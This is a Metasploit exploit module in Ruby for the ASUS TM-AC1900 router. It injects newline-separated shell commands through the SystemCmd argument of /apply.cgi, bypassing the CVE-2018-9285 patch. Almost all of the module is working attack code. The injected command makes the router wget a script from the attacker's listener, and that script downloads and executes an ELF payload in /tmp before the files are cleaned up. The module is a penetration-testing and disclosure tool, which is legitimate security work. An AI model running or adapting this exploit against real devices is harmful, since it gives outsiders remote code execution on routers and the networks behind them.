##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution',
'Description' => %q{
This module exploits a code execution vulnerability within the ASUS
TM-AC1900 router as an authenicated user. The vulnerability is due to
a failure filter out percent encoded newline characters (%0a) within
the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses
the patch for CVE-2018-9285.
},
'Author' =>
[
'b1ack0wl' # vuln discovery + exploit developer
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'References' =>
[
# CVE which shows that this functionality has been patched before ;)
['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
],
'Privileged' => true,
'Targets' =>
[
# this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
[ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
{}
]
],
'DisclosureDate' => 'April 18, 2020',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
])
end
def check_login
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "/Main_Analysis_Content.asp",
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if res and res.code == 200
# all good :)
return res
else
fail_with(Failure::NoAccess, 'Invalid password.')
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end
end
def on_request_uri(cli, request)
if request.uri == '/'
# injected command has been executed
print_good("Sending bash script...")
@filename = rand_text_alpha(16)
bash_script = %Q|
#!/bin/sh
wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
chmod +x /tmp/#{@filename}
/tmp/#{@filename} &
|
send_response(cli, bash_script)
else
# bash script has been executed. serve up the ELF file
exe_payload = generate_payload_exe()
print_good("Sending ELF file...")
send_response(cli, exe_payload)
# clean up
register_file_for_cleanup("/tmp/index.html")
register_file_for_cleanup("/tmp/#{@filename}")
end
end
def exploit
# make sure the supplied password is correct
check_login
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
print_status("Exploiting #{target.name}...")
@lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
start_service({'Uri' => {'Proc' => Proc.new {
|cli, req| on_request_uri(cli, req)
},
'Path' => '/'
}})
begin
# store the cmd to be executed
cmd = "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
res = send_request_cgi({
'method' => 'GET',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
# spaces need to be '+' and not %20, so cheap hack.exe it is.
# required HTTP args: SystemCmd, action_mode, and current_page
'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+¤t_page=Main_Analysis_Content.asp"
})
# now trigger it via check_login
res = check_login
if res and res.code == 200
print_status("Waiting up to 10 seconds for the payload to execute...")
select(nil, nil, nil, 10)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
